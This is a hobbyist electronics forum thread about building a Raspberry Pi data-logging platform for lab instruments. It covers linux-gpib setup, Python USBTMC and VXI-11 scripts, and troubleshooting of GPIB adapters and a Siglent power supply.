content: I think this is a very good idea. To have a bunch of python scripts in one spot on a raspberry PI. I hope everyone contributes scripts for their devices that are not implemented yet. Is PyVisa included in the image? I'm just working on the Rigol DM3068 stuff.Dwaine

author: mimmus78
author_rank: Unknown
timestamp: December 16, 2016, 11:14:06 pm
content: @FrankBussSPD3303 is very slow at handling commands.You need to put a sleep after the command or it get messed.I use something like this:siglent.write("INST CH2")time.sleep(1)siglent.write("CH2:VOLT 0")time.sleep(1)siglent.write("CH2:CURR 1.3")time.sleep(1)siglent.write("OUTP CH2, ON")time.sleep(1)you can also lower sleep to 0.1 seconds if you need more speedy setup.

author: bingo600
author_rank: Super Contributor
timestamp: December 17, 2016, 07:33:32 am
content: Quote from: cdev on December 16, 2016, 08:50:27 pmThe Odroid C2 kicks a.. on ethernet (900Mb both ways)Too bad they are loooong behind in kernel support.C2 is one of the fastest (if not the fastest) sbc , but lacks in vendor support./Bingo

author: bingo600
author_rank: Super Contributor
timestamp: December 17, 2016, 07:35:00 am
content: I'm currently building a Raspi w. Noobs 1.4.1 (Wheezy) , and will let you know if the Agilent usb gpib works there.https://downloads.raspberrypi.org/NOOBS/images/NOOBS-2015-05-12//Bingo

author: z01z
author_rank: Regular Contributor
timestamp: December 17, 2016, 09:00:36 am
content: @BingoI remember you reporting in the other topic that Jessie was working for you. Might it be that you only tried it with a v1 board?For me Jessie never worked (v3 board). I'll also give Wheezy a try.

author: bingo600
author_rank: Super Contributor
timestamp: December 17, 2016, 10:02:05 am
content: Quote from: z01z on December 17, 2016, 09:00:36 amI'm not sure i ever said Jessie worked , just that it build ok. And that i didn't test on real HW.I never tried the adapter on my v3/Bingo

author: plesa
author_rank: Frequent Contributor
timestamp: December 17, 2016, 10:06:34 am
content: Oldest Jessie with kernel 4.4.11 is also not working. Other adapters with uploading firmware like NI GPIB-USB-B are working properly.Currently I trying older linux-gpib versions.

author: z01z
author_rank: Regular Contributor
timestamp: December 17, 2016, 10:24:31 am
content: Quote from: bingo600 on December 17, 2016, 10:02:05 amAh, OK. It was wishful thinking on my part.Seems like Wheezy doesn't support v3 boards.

author: bingo600
author_rank: Super Contributor
timestamp: December 17, 2016, 10:28:13 am
content: Could it be that Wheezy just soesn't support WiFi & BT on the V3 boards ??Else maybe give Ubuntu Mate a try , that would be my next step , for distro that supports v1..v3 boardshttps://www.raspberrypi.org/downloads/And i'd expect that kernel headeres are available , instead of that incredible stupid KLUDGE you have to do on Raspbian/Bi

author: plesa
author_rank: Frequent Contributor
timestamp: December 17, 2016, 10:30:18 am
content: Quote from: bingo600 on December 17, 2016, 10:28:13 amThe same problem is on RPi2 with 4.4.34 and linux-gpib-4.0.3

author: bingo600
author_rank: Super Contributor
timestamp: December 17, 2016, 10:55:05 am
content: root@raspi2:/home/bingo# ./idn1.pyTraceback (most recent call last):File "./idn1.py", line 4, in <module>import GpibFile "/usr/local/lib/python2.7/dist-packages/Gpib.py", line 2, in <module>import gpibImportError: libgpib.so.0: cannot open shared object file: No such file or directory**** I missed the ldconfigroot@raspi2:/home/bingo# ldconfigroot@raspi2:/home/bingo#root@raspi2:/home/bingo# ./idn1.pyKEITHLEY INSTRUMENTS INC.,MODEL 2015,1043877,B15 /A02root@raspi2:/home/bingo#**** Success on Noobs 1.4.1 - on a Raspi v1 - I disabled devicetree under advanced , but am not sure if it's neededhttps://downloads.raspberrypi.org/NOOBS/images/NOOBS-2015-05-12/uname -aLinux raspi2 3.18.0-trunk-rpi #1 PREEMPT Debian 3.18.5-1~exp1+rpi19 (2015-08-08) armv6l GNU/LinuxUsing my "old recipee"https://www.eevblog.com/forum/reviews/using-a-raspberry-pi-with-linux-gpib-and-a-beiming-or-agilent-usb-gpib-adapter/msg329067/#msg329067TIN's: Might be clearerhttps://xdevs.com/guide/agilent_gpib_rpi/Basically install Noobs 1.4.1 then do a :1: sudo apt-get update2: sudo apt-get upgrade3: reboot4: sudo apt-get install linux-image-rpi-rpfv (If you are using newer Raspberry Pi 2, please use linux-image-rpi2-rpfv)5: reboot6: sudo apt-get install linux-headers-$(uname -r)Rest from the recipeeRemembersudo apt-get install fxloadKernel stuff to append to /boot/config.txt (Kernel version dependant , look in /boot for the latest kernel installed)Code:# Set params for "raspbian debian-style kernel" bootkernel=vmlinuz-3.18.0-trunk-rpiinitramfs initrd.img-3.18.0-trunk-rpi followkernelOhh - Seems like the udev "autoload firmware doesn't work"I had to do the loads manually******** Load firmware begin ********lsusbBus 001 Device 005: ID 0957:0518 Agilent Technologies, Inc. 82357B GPIB Interface/dev/bus/usb/001/005#Load fw 2 times , but the id changes after first and second loadfxload -t fx2 -D /dev/bus/usb/001/008 -I /usr/share/usb/agilent_82357a/measat_releaseX1.8.hexfxload -t fx2 -D /dev/bus/usb/001/009 -I /usr/share/usb/agilent_82357a/measat_releaseX1.8.hexlsusb after 2'nd loadBus 001 Device 010: ID 0957:0718 Agilent Technologies, Inc.sudo gpib_configIf : gpib_config: error while loading shared libraries: libgpib.so.0: cannot open shared object file: No such file or directoryYou missed the : ldconfig*** From syslog ***Dec 17 11:43:55 raspi2 kernel: [ 713.777579] usb 1-1.2: USB disconnect, device number 10Dec 17 11:43:55 raspi2 kernel: [ 713.778097] agilent_82357a_driver_disconnect: exitDec 17 11:43:57 raspi2 kernel: [ 715.511199] usb 1-1.2: new high-speed USB device number 11 using dwc_otgDec 17 11:43:57 raspi2 kernel: [ 715.600619] usb 1-1.2: New USB device found, idVendor=0957, idProduct=0718Dec 17 11:43:57 raspi2 kernel: [ 715.600658] usb 1-1.2: New USB device strings: Mfr=1, Product=2, SerialNumber=5Dec 17 11:43:57 raspi2 kernel: [ 715.600677] usb 1-1.2: Product: 82357B ()Dec 17 11:43:57 raspi2 kernel: [ 715.600694] usb 1-1.2: Manufacturer: Agilent Technologies, Inc.Dec 17 11:43:57 raspi2 kernel: [ 715.600712] usb 1-1.2: SerialNumber: MY49450180Dec 17 11:43:57 raspi2 kernel: [ 715.611862] probe succeeded for path: usb-bcm2708_usb-1.2Dec 17 11:43:57 raspi2 /etc/hotplug/usb/agilent_82357a: entered for Product: 957/718/0 Device: $devnode Serial: MY.... Devpath: /devices/platform/bcm2708_usb/usb1/1-1/1-1.2Dec 17 11:50:49 raspi2 kernel: [ 1127.274586] attached to bus interface 0, address 0xd9806800Dec 17 11:50:49 raspi2 kernel: [ 1127.281251] agilent_82357a_attach: attached******** Load firmware end ********Remember to make your user member of the gpib group ,and put agilent_82357a in /etc/modulesHmm .... Seems like i have to do a : sudo chmod 666 /dev/gpib*Even though i'm a member of the gpib group .. strange/Bingo

author: z01z
author_rank: Regular Contributor
timestamp: December 17, 2016, 11:12:35 am
content: Have you tried the 4.x kernel on v1? If not, could you? It might be good to know whether this is a generic issue or just for the newer boards.A while back I've tried Ubuntu Mate, without much success. I don't remember the details, probably it was my lack of Linux expertise - as if some of the commands didn't work properly. I can give it another try.Btw, forget the Ubuntu Snappy, it is said to be not working.

author: bingo600
author_rank: Super Contributor
timestamp: December 17, 2016, 11:16:55 am
content: Quote from: z01z on December 17, 2016, 11:12:35 amI did try the latest 4.38 (Jessie) on my v1 yesterday , same problems as on my v3

author: Dwaine
author_rank: Frequent Contributor
timestamp: December 17, 2016, 11:50:08 am
content: Quote from: Dwaine on December 16, 2016, 10:05:39 pmI have the Rigol DM3068 meter done for LAN connection. I can test the USB setup too. How are we doing this. Separate scripts for each connection type or just have each connection in the python script commented out?DwaineIs there a GIThub that I can do a pull request.

author: plesa
author_rank: Frequent Contributor
timestamp: December 17, 2016, 12:13:22 pm
content: Quote from: Dwaine on December 17, 2016, 11:50:08 amGo to the xDevs site and download imagehttps://xdevs.com/doc/_Images_RPI-DL/Restore it on SD card. After boot go to the pub/python folder where are multiple scripts.For test USB connection use this Test_USB.py, you needs to change the USB meter PIV/VID and run script .Code:# Test USBimport usbtmcinstr = usbtmc.Instrument("USB::0x0957::0x0a07::INSTR")print(instr.ask("*IDN?"))response will be something like thisCode:pi@raspberrypi:/pub/python $ sudo python Test_USB.pyAgilent Technologies,34411A,MY12345678,2.41-2.40-0.09-46-09For LAN there is Test_LAN.py example.Code:# Test VXI11import vxi11instr = vxi11.Instrument("192.168.0.10")print(instr.ask("*IDN?"))you can add as a first line #!/usr/bin/python2and run script by sudo ./Test_LAN.py

author: Dwaine
author_rank: Frequent Contributor
timestamp: December 17, 2016, 12:23:27 pm
content: USB tested OK, so both USB and LAN are fully functional on the Rigol DM3068. I have the Rigol DM3068 scripts working. Is there a GITHub I can do a pull request to get the DM3068 added. Then other people can enjoy.With some more work on the web server side of things. This could be really a great setup. Already enjoying the logging.

author: z01z
author_rank: Regular Contributor
timestamp: December 17, 2016, 12:37:39 pm
content: This Noobs 1.4.1 doesn't boot on my PI3. If you observe, the newer releases (I've checked the 2.1) have files like bcm27*, which seem to correspond to the different hardware versions. The 1.4 has no such files.

author: bingo600
author_rank: Super Contributor
timestamp: December 17, 2016, 12:47:49 pm
content: Quote from: z01z on December 17, 2016, 12:37:39 pmSigh .... Sorry about thatA v2 would boot afaik/Bingo

author: FrankBuss
author_rank: Unknown
timestamp: December 17, 2016, 01:52:53 pm
content: Quote from: Dwaine on December 17, 2016, 12:23:27 pmplesa created this repository:https://github.com/PlesaEEVBlog/RPi_LogNut@plesa please accept my pull request for the initial content, so that it doesn't get out of sync for too long.

author: Dwaine
author_rank: Frequent Contributor
timestamp: December 17, 2016, 02:45:10 pm
content: Quote from: FrankBuss on December 17, 2016, 01:52:53 pmOk. I'll wait until the Initial pull happens and then do my get/pull for the Rigol DM3068.

author: Dwaine
author_rank: Frequent Contributor
timestamp: December 17, 2016, 03:17:01 pm
content: Quote from: FrankBuss on December 10, 2016, 10:14:56 pmI will also do an example web server view for the Rigol DM3068.

author: Dwaine
author_rank: Frequent Contributor
timestamp: December 17, 2016, 04:54:45 pm
content: The Rigol DM3068 running on the Raspberry PI logging. Check it out Give it an Internet test.....http://99.232.17.239/DM3068_Logs.htmlDwaine

author: TiN
author_rank: Super Contributor
timestamp: December 17, 2016, 05:35:29 pm
content: NiceplesaHow do you create images? Just simple plain bit-bit clone of SDcard, or there is some tool?I'd like to make few images too, for DE1-SoC FPGA board running linux-gpib. Got I2C working today with BME280 on it. Next step is GPIO and SPI, so I can control ADCs/DACs as well.

author: plesa
author_rank: Frequent Contributor
timestamp: December 17, 2016, 06:35:57 pm
content: Quote from: TiN on December 17, 2016, 05:35:29 pmThere are several ways.Resizing It tried but it is too complicated. I used bit clone and compress it by gzip/tar.Quote from: FrankBuss on December 17, 2016, 01:52:53 pmOK, I will try tomorrow.

author: bingo600
author_rank: Super Contributor
timestamp: December 18, 2016, 07:04:54 am
content: Someone here claims to have linux-gpib running w. an agilent on a rpi v3.http://www.messtechniklabor.de/artikel-h0014-raspberry_pi_3_model_b_mit_linux_gpib_und_kernel_4_1.htmlSeems like he has the oldamodel not the laterbadapter.I did try to build it (1h20m for kernel) , on a kernel 4.4.34 platform.Build/boot ok , but same linux-gpib result ... timeout.One correction thoughWhere he writesQuoteYou need to either do anCode:export KERNEL=kernel7Or maybe better replace $KERNEL.img on the below line withkernel7.imgsudo scripts/mkknlimg arch/arm/boot/zImage /boot/$KERNEL.imgMy startingpoint was NOOBS-1.9https://downloads.raspberrypi.org/NOOBS/images/NOOBS-2016-03-18/But i did the distupgrade before build , that lifted the platform to kernel 4.4.34.Maybe someone can try wo. the distupgrade, where it's platform 4.1.19 i think./Bingo

author: z01z
author_rank: Regular Contributor
timestamp: December 18, 2016, 01:24:22 pm
content: Did the procedure on 2016-03-18-raspbian-jessie (4.1.21 kernel), it doesn't work afterwards either.Actually it seems to work less with this than the v2 image, with that at least the instrument detects that it is being addressed. With this, nothing. It can easily be though, that I did something wrong.

author: FrankBuss
author_rank: Unknown
timestamp: December 18, 2016, 04:35:53 pm
content: Quote from: mimmus78 on December 16, 2016, 11:14:06 pmI guess this is the same problem I found out when I use the USBTMC Linux kernel driver on my PC, and might be really a bad firmware on the power supply. I can lower the delay down to 10 ms and it works always. With 5 ms sometimes it doesn't work. So might be safe to wait 20 ms. The instrument itself seems to be fast. I can do a "CH2:VOLT 9" command and 10 ms later a "CH2:VOLT 8" command and it is set to 8 V.But I still can't read anything reliably. Could you try this on your system?Code:print(siglent.ask("*IDN?"))Sometimes it shows the device, but most of the time it generates an error: "Operation timed out". I tried to edit /opt/python-usbtmc/build/lib.linux-armv7l-2.7/usbtmc/usbtmc.py and insert a time.sleep(0.1) after line 629 in the ask function, between the write and read, and it looks like it helps a bit, but I'm still getting the timeout error often.At least writing works with the delay. But would have been nice to get the current reading working, too.

author: Karel
author_rank: Super Contributor
timestamp: December 18, 2016, 05:10:22 pm
content: Quote from: FrankBuss on December 16, 2016, 09:04:30 pmThe timeout "problem" isn't a problem at all but just how the usbtmc protocol is implemented.The cat program keeps on reading till it receives an EOF.Usbtmc protocol uses a newline character at the end of a message, not an EOF.Cat ignores the newline character and will continue to ask for more data till the driver timesout which is after 5 seconds.A program that is written to read from an usbtmc device will stop reading when it detects a newline character in the message.

author: bingo600
author_rank: Super Contributor
timestamp: December 18, 2016, 05:25:36 pm
content: GuyzzDave Penkler (linux-gpib maintainer) , has ansvered my e-mail , and suggests to build linux-gpib w. debugging enabled../configure --enable-driver-debugHe uses latest kernels ie. 4.9 , but only have i386 based machines.So he lacks a Raspi v3 to debug on.He'll borrow one/Bingo

author: cdev
author_rank: Super Contributor
timestamp: December 18, 2016, 05:46:04 pm
content: Two things.1.) A *logging* platform should definitely log to a real hard drive because the process of logging inherently makes a great many individual writes which will destroy flash memory cards eventually. (For the same reason compiling software on them will, hopefully people know that)Good practice would be to put the boot OS on the SD card and do all logging - also any compiles, should take place on a real HD which can be a small one. SD cards have improved a lot but this is still good practice. You should also use the real HD for swap.Set the SD card to "noatime" so that a separate write is not done when files are accessed also. USB SATA enclosures can be had for as little as $5 and a small low current requirement SATA drive is similarly cheap. Two can be used for data redundancy using software RAID.(use a powered USB hub because the RPI can only supply a fairly modest amount of power to power other devices.)2.) David Taylor has done a lot of research into running NTP on an RPI using a GPS and kernel 1pps to provide an accurate timing reference. (Most people here have probably already seen his web pages I'm sure butworth mentioning anywayas lots of useful info) . I recently saw a link there to thisdiscussionabout a small change whichreduces the latency of the onboard USB-based Ethernet. Seems worth looking into.

author: FrankBuss
author_rank: Unknown
timestamp: December 18, 2016, 09:11:40 pm
content: Quote from: Karel on December 18, 2016, 05:10:22 pmOk, but why does it work sometime and sometimes not with pyusb? And the USBTMC kernel driver works always, if I use the code fromhere, but I guess "os.read(self.FILE, 4096)" doesn't wait for EOF, but reads all currently available data. So probably the pyusb implementation has some other problems, in combination with the Siglent instrument, because the HP gear seems to work, probably with the Linux kernel driver, too. So might be a good idea to use the Linux kernel driver instead of the Python implementation, if there are no problems with the HP devices.

author: FrankBuss
author_rank: Unknown
timestamp: December 18, 2016, 09:19:51 pm
content: Quote from: cdev on December 18, 2016, 05:46:04 pmAnother idea is to use a network drive. I have a NAS (with RAID0) and copied the /pub directory to it. Then I mounted this directory from my Raspberry Pi, now doing some long time logs for the Batteroo test. But probably not a good idea to use swap over ethernet. Best would be to disable swap and mount the main filesystem read-only, using the rest from the NAS.Some time ago for another platform I could even load the Linux kernel over network with u-boot, and then even mount the root filesystem over NFS. This is really helpful for developing, because then you don't have any size limitations of the platform and testing new kernel versions is faster, and it can't brick, if you backup the last kernel (and modules).

author: plesa
author_rank: Frequent Contributor
timestamp: December 18, 2016, 09:38:18 pm
content: Quote from: FrankBuss on December 18, 2016, 09:19:51 pmRaspbian has swap disabled. Booting form network should be possible ( U-Boot on RPi is running ), but it will limit majority of potential users. It will be too difficult for them to setup DHCP and PXE.I will check the USBTMC kernel implementation. I do not accoutered any issue, but I was using only HP/Agilent and Keysight gear over USB.

author: mimmus78
author_rank: Unknown
timestamp: December 18, 2016, 09:41:01 pm
content: @FrankBuss - or any siglent power supply userI use following sequence to initialise the thing.siglent = usbtmc.Instrument("USB::0x0483::0x7540::INSTR")siglent.clear()time.sleep(0.1)siglent.write("*IDN?")time.sleep(0.1)print (siglent.read())time.sleep(0.1)This works 100% for me, I have a complicate process working for days and programming the V of power supply every second without any problem.Only when you stop the program sometime the power supply don't work at first connection, in this case just stop python program and start again (or maybe just close USBTMC connection and reopen).You cannot use ask because (I didn't checked, but I think) ASK is making WRITE and READ one after the other and this will confuse the thing.So to make it work just use [write, sleep, read] sequence.Quote from: FrankBuss on December 18, 2016, 04:35:53 pm

author: Dwaine
author_rank: Frequent Contributor
timestamp: December 19, 2016, 12:34:08 am
content: Ummmm. I did not use any sleeps in my Rigol DM3068 python script. Right now I'm letting the USB connection run continuously. So far no problems with the python USBTMC.http://99.232.17.239Dwaine

author: Dwaine
author_rank: Frequent Contributor
timestamp: December 19, 2016, 01:02:35 am
content: I have a Keysight u1272a meter. Would anyone object if I submitted the python, HTML, web server display for it?Dwaine

author: cdev
author_rank: Super Contributor
timestamp: December 19, 2016, 01:26:46 am
content: Okay, I realize this is likely stuff people here already know about. But it cant hurt to remember it.I wanted to encourage you to consider using a real hard drive on your logger from the start.. You cannot argue with the price of these "Pi Drives" - These hard drives are designed to be used with the Raspberry Pi. They incorporate a USB to SATA converter and an additional USB plug for bringing in additional power.http://wdlabs.wd.com/category/wd-pidrive/But if you must use flash memory, one way to optimize logging to SD cards for flash memory longevity is to cache and delay writes for several seconds, then do the writes at the same time, as one. That will reduce the raw number of writes. Of course, then if you lose power you will have lost the last few seconds of writes. A good search term to learn more is "wear leveling". Another option is doing your writing to an NFS mounted share on another computer.There is no reason not to simply be careful. You could run a cron job to back up your SD card every few hours.That said, I usually only hook up a real hard drive to my Raspberry Pis when I want to compile something.I usually just use the SD normally and set the options on software to only log the needed data and errors and not all diagnostic messages. Most pre-built software on Raspbian should use sensible defaults for flash memory, which will be different than the ones used on desktops and laptops.On programs that write big logs by default, you have to tell them to log less or eventually your SD cards will need replacement. Luckily its usually possible to get most of the data off them.They get significantly better every year at handling lots of writes. But still there is a huge level of variability in SD card quality. Bunnie Huang has written extensively on this. You might want to check out his web site.You cant treat an SD card as if its a hard disk or even an SSD.

author: Dwaine
author_rank: Frequent Contributor
timestamp: December 19, 2016, 03:29:56 am
content: Quote from: Dwaine on December 19, 2016, 12:34:08 amI have the KeySight U1272A example completed. I actually have both the Rigol DM3068 and KeySight U1272A running concurrently taking measurements on the same raspberry PI. No issue to report. Both devices are connected by USB... I wonder how many devices we could hook up to the raspberry pi before it becomes a problem?Dwaine

author: Karel
author_rank: Super Contributor
timestamp: December 19, 2016, 07:40:11 am
content: Quote from: FrankBuss on December 18, 2016, 09:11:40 pmProbably because ofQuote from: FrankBuss on December 18, 2016, 09:11:40 pm

author: mimmus78
author_rank: Unknown
timestamp: December 19, 2016, 10:54:42 am
content: Quote from: Dwaine on December 19, 2016, 12:34:08 amThis come out from some Siglent firmware developer comment on some support request.It's not driver but this Siglent power supply firmware that has this problem.

author: Dwaine
author_rank: Frequent Contributor
timestamp: December 19, 2016, 03:48:56 pm
content: I think all these companies should invest in the software side of things. It really does make the hardware less useful when the firmware/software has problems. I was reading the thread on the Rigol DP832 power supply rebooting during remote controlling and measuring. It makes the power supply useless for some applications now.If they did firmware updates on a monthly or bi-monthly release. It would help their product lines.Dwaine

author: Dwaine
author_rank: Frequent Contributor
timestamp: December 19, 2016, 03:54:12 pm
content: Quote from: Dwaine on December 19, 2016, 01:02:35 amFrankbuss, I finish the Keysight U1272A example. Working good. I sent a pull request to add the device.http://99.232.17.239/U1272A_Logs.htmlDwaine

author: plesa
author_rank: Frequent Contributor
timestamp: December 19, 2016, 10:58:00 pm
content: Good progress on U1272. I just posted few my scripts on GitHub.Each script has own webpage, do we needs also the webpages or complete mirror of pub folder on RPi?@Bingo600Thanks for contacting Dave Penkler. I just buid linux GPIB with debug enabled.I can ship one RPi3 to him if needed.Next milestones are:1. Fix support for 82357B ( clone and genuine)2. Implement Prologix GPIB 6.0 support and provide examples3. Kernel support of USBTMC ( pros/cons)

author: FrankBuss
author_rank: Unknown
timestamp: December 20, 2016, 06:31:44 am
content: Quote from: cdev on December 19, 2016, 01:26:46 amYou are right, and there are other problems with SD cards. I was getting "Input / ouput error" when trying to access the SD card (e.g. just an "ls" command) now three times every time after the pi was running for a day. I was logged in with ssh and could still do a "dmesg", which showed this:http://pastebin.com/e4uNYLN2Looks like some filesystem write failed. Maybe the image could be changed in a way that normally nothing is written on the SD card, like with the access time setting, if not already configured? The logging to the mounted network was still running without problems and after a reboot it worked again. But might be a problem with the power supply as well (I'm running it with an old Apple charger and didn't fix the resettable fuse problem on this device).

author: z01z
author_rank: Regular Contributor
timestamp: December 20, 2016, 09:58:11 am
content: Hmm, interestingly 82357B worked here, once. In fact, first time on RPI3, ever.Took the v2 image, updated and rebuilt kernel then built linux-gpib with debug.First ibterm with K2000 didn't work, then tried ibterm with K2400, which, surprisingly, did work.Afterwards ibtest worked for both. Even ibterm with K2000 worked fine.Code:pi@pi3:~ $ sudo ibterm -d 1 -e 0x0a -b 1 -x 1Attempting to open /dev/gpib0pad = 1, sad = 0, timeout = 10, send_eoi = 1, eos_mode = 0x1800ibterm>*idn?ibterm error: Unable to write to device at pad 1- EBUS 14: Bus erroribterm>ibterm: Done.pi@pi3:~ $ sudo ibterm -d 24 -e 0x0a -b 1 -x 1Attempting to open /dev/gpib0pad = 24, sad = 0, timeout = 10, send_eoi = 1, eos_mode = 0x1800ibterm>*idn?KEITHLEY INSTRUMENTS INC.,MODEL 2400-C,1234567,C32 Oct 4 2010 14:20:11/A02 /G/H/Eibterm>ibterm: Done.pi@pi3:~ $ sudo ibterm -d 1 -e 0x0a -b 1 -x 1Attempting to open /dev/gpib0pad = 1, sad = 0, timeout = 10, send_eoi = 1, eos_mode = 0x1800ibterm>*idn?KEITHLEY INSTRUMENTS INC.,MODEL 2000,1234567,A19 /A02ibterm>ibterm: Done.After a reboot it doesn't work again. Doesn't matter whether ibtest or ibterm is tried.

author: z01z
author_rank: Regular Contributor
timestamp: December 20, 2016, 10:12:37 am
content: @plesaWhat's your take on the f2fs? It's a major PITA that you cannot change the fs size.Apparently inin f2fs-tools_1.7.0-1_amd64 for Ubuntuthere is a resize.f2fs command. Sadly that's not available in the Ubuntu Mate for RPI, the f2fs-tools is only ver 1.6 there.I'll try to install Ubuntu in a VM and check it...

author: Dwaine
author_rank: Frequent Contributor
timestamp: December 20, 2016, 01:08:34 pm
content: F2FS v1.7 source could be compiled on the raspberry pi.Dwaine

author: bingo600
author_rank: Super Contributor
timestamp: December 20, 2016, 04:13:17 pm
content: Quote from: plesa on December 19, 2016, 10:58:00 pm@PlesaDave has ordered a v3And i am currently testing w. a powered usb-hub , as per Daves request - Same result.I have been testing w. Agilent & Beiming , and sent v3 (bad) debug output to him.Now i'm building w. debug on my v1 (Wheezy) , to send debug (good) to him/Bingo

author: FrankBuss
author_rank: Unknown
timestamp: December 21, 2016, 12:18:57 am
content: Quote from: mimmus78 on December 18, 2016, 09:41:01 pmThanks, this workaround works for me, too. Strange, because I thought I had this issue fixed by changing the ask function itself, maybe the file was compiled or cached or something and not used. So no immediate need to add the USBTMC kernel driver, if it introduces other problems, but still useful for using USBTMC devices outside of Python scripts.This could be a problem if someone wants to implement a general instrument class. Needs to be a wrapper around the "ask" function (which should be available for scripts), with quirk implementations for Siglent devices.Quote from: mimmus78 on December 19, 2016, 10:54:42 amDid they say anything about if they plan to fix it? It would make the instrument really more useful, if the USBTMC communication is reliable.

author: mimmus78
author_rank: Unknown
timestamp: December 21, 2016, 01:03:34 am
content: Quote from: FrankBuss on December 21, 2016, 12:18:57 amNo, I read this in some unofficial forum. I have last firmware installed and this is fair old version. I think funds for fixing bugs are longer finished.Anyway with this workaround it works great. I'm running days and days without a single problem.Inviato dal mio Nexus 6P utilizzando Tapatalk

author: bingo600
author_rank: Super Contributor
timestamp: December 21, 2016, 07:17:03 pm
content: Just noticed that the "Jessie" has the raspbian.org kernels in thereI did aCode:sudo apt-get install linux-image-rpi2-rpfvAdded to end of /boot/config.txtCode:# Set params for "raspbian debian-style kernel" boot#kernel=vmlinuz-3.18.0-trunk-rpi#initramfs initrd.img-3.18.0-trunk-rpi followkernel#kernel=vmlinuz-4.4.0-1-rpi2initramfs initrd.img-4.4.0-1-rpi2 followkernel#Code:rebootAndCode:sudo apt-get install linux-headers-rpi2-rpfvRebuilt linux-gpib , and tested wo. any luckStill err 14Edit: Corrected the followkernelThis was done on a Raspi v3 , and boots ok/Bingo

author: Dwaine
author_rank: Frequent Contributor
timestamp: December 21, 2016, 10:52:28 pm
content: I have the Bosh BMP085 python and web html finished. Another sensor people can use..... FrankBuss, I'll submit a pull request later on....http://99.232.17.239/BMP085_Logs.html

author: TiN
author_rank: Super Contributor
timestamp: December 27, 2016, 01:43:05 pm
content: I tried RPI image on my Pi3 with BME.Working well OOB, NI USB-GPIB-HS is ok too, but clone fake Agilent pot is no go, err 14 timeout, but instrument itself does go into REM/TALK.

author: plesa
author_rank: Frequent Contributor
timestamp: December 27, 2016, 03:00:17 pm
content: Quote from: TiN on December 27, 2016, 01:43:05 pmHi TiN,thanks for feedback. Issue related to to 82357B is known with current kernel 4.4.36 (38) and has been also found on 4.9 on Raspbian.Currently are working only HI GPIB USB HS/NI GPIB USB B adapters and also the E5810A/E5810B.

author: plesa
author_rank: Frequent Contributor
timestamp: December 30, 2016, 12:14:14 am
content: During testing encoutered issues with RPi3 and genuine NI-GPIB HS adapter, after 30min-3h there is timeout on bus. Redo gpib_config not help and disconnecting NI GPIB HS adapter is needed.TiN reported similar issue.Strange is that RPI2 can work on same testsetup for multiple weeks. On setup is more than 60% of instruments on ( recommendation for GPIB is >50%)dmesg reports following:Code:[10622.506326] /opt/linux-gpib/drivers/gpib/ni_usb/ni_usb_gpib.c: usb_control_msg returned -110[10623.506303] ni_usb_nonblocking_send_bulk_msg: killed urb due to timeout[10623.506336] /opt/linux-gpib/drivers/gpib/ni_usb/ni_usb_gpib.c: ni_usb_line_status: ni_usb_send_bulk_msg returned -110, bytes_written=0, i=8[10624.506337] /opt/linux-gpib/drivers/gpib/ni_usb/ni_usb_gpib.c: usb_control_msg returned -110[10625.506351] ni_usb_nonblocking_send_bulk_msg: killed urb due to timeoutAlso ordered 3.5" LCD for displaying data ( BME280, DS18S20) and actual readout from instruments.

author: Dwaine
author_rank: Frequent Contributor
timestamp: December 30, 2016, 02:44:38 am
content: I had the pi3 die on me when I was sampling the three devices once per second. I tried both USB and LAN, with the same results. After 3-6 hours the pi3 would be locked up.I switched the polling from one second to every 5 seconds. I'm stress test all three devices now and the pi3 is good so far.I also looked at the CPU usage during the lockups, and it barely touched 10%.

author: plesa
author_rank: Frequent Contributor
timestamp: December 30, 2016, 03:14:37 am
content: Quote from: Dwaine on December 30, 2016, 02:44:38 amWhat GPIB adapter you used for USB and what for LAN?Which kernel or image you used, the LogNutv2 or official Raspbian? Can you post the dmesg output?It should not be related to CPU usage, RPi2 is is 900Mhz and RPi3 is 1.2GHz.I prepared another new RPi3 for test, also the E5810 will be tested.

author: Dwaine
author_rank: Frequent Contributor
timestamp: December 30, 2016, 03:33:15 am
content: I'm using the standard lognutv2 image with an updated kernel and firmware. No GPIB connection just raw USB connection, serial connect direct and direct TCP/IP LAN. I'll reset the same condition and test again. This time I'll see what dmesg has to say.During the lockup, I could not even ssh into the pi3.

author: plesa
author_rank: Frequent Contributor
timestamp: December 30, 2016, 03:41:57 am
content: Quote from: Dwaine on December 30, 2016, 03:33:15 amOK, clear. So it looks like something different. Because issue seems to be related to USB/GPIB interface.I have no problem with logging using Agiletnt L4411A over USB/LAN.Which instrument you are using?

author: bingo600
author_rank: Super Contributor
timestamp: December 30, 2016, 09:03:22 am
content: Dave P is asking for the .config output from a working setup (Wheezy)EDIT: It's the kernel configSeehttps://www.eevblog.com/forum/metrology/raspberry-pi23-logging-platform-for-voltnuts/msg1102438/#msg1102438I'm not home for the next days, and my working Raspi v1 - with Wheezy is not online.Does anyone have (or can build) a Raspi v1 or v2, with linux gpib working on an Agilent/Beiming adapter (Old wheezy kernel)Build instructionshttps://www.eevblog.com/forum/metrology/raspberry-pi23-logging-platform-for-voltnuts/msg1093160/#msg1093160/Bingo

author: Dwaine
author_rank: Frequent Contributor
timestamp: December 30, 2016, 09:28:48 am
content: Quote from: plesa on December 30, 2016, 03:41:57 amRigol DM3068Keysight U1272aBMP085 SensorMaybe since I was logging all three devices with 1 second updates, I ran out of memory as the CSV files grew. So far now, I'm running all three devices with a read every 5 seconds. Been running over a day now.I actually have the second display working and plotting for the Keysight U1272a.

author: TiN
author_rank: Super Contributor
timestamp: December 30, 2016, 11:14:22 am
content: I'll try to find my Pi1 and get wheezy up to get file/dumps.

author: bingo600
author_rank: Super Contributor
timestamp: December 30, 2016, 12:14:02 pm
content: Quote from: TiN on December 30, 2016, 11:14:22 amThanx TiNI think i misunderstood Dave.He asks forQuoteI suppose the .config might be included in the "header files"/Bingo

author: BFX
author_rank: Frequent Contributor
timestamp: December 31, 2016, 01:21:22 am
content: Not enough place(RPi 2 B+,7" LCD, Agilent 82357B, Bluetooth kbrd and mouse )It's not working for now with Agilent 82357B, but it's only few minutes from start. (tuning is in progress)Funny moment's with this keyboard (it is shit)(how to put the #? ou yes ctrl + alt + u and 23 )

author: plesa
author_rank: Frequent Contributor
timestamp: December 31, 2016, 01:33:24 am
content: Quote from: BFX on December 31, 2016, 01:21:22 am82357B is not working, but we hope it will be fixed soon.Maybe you can try to use different adapter likehttp://egirland.blogspot.cz/2014/03/arduino-uno-as-usb-to-gpib-controller.html

author: bingo600
author_rank: Super Contributor
timestamp: December 31, 2016, 06:27:04 am
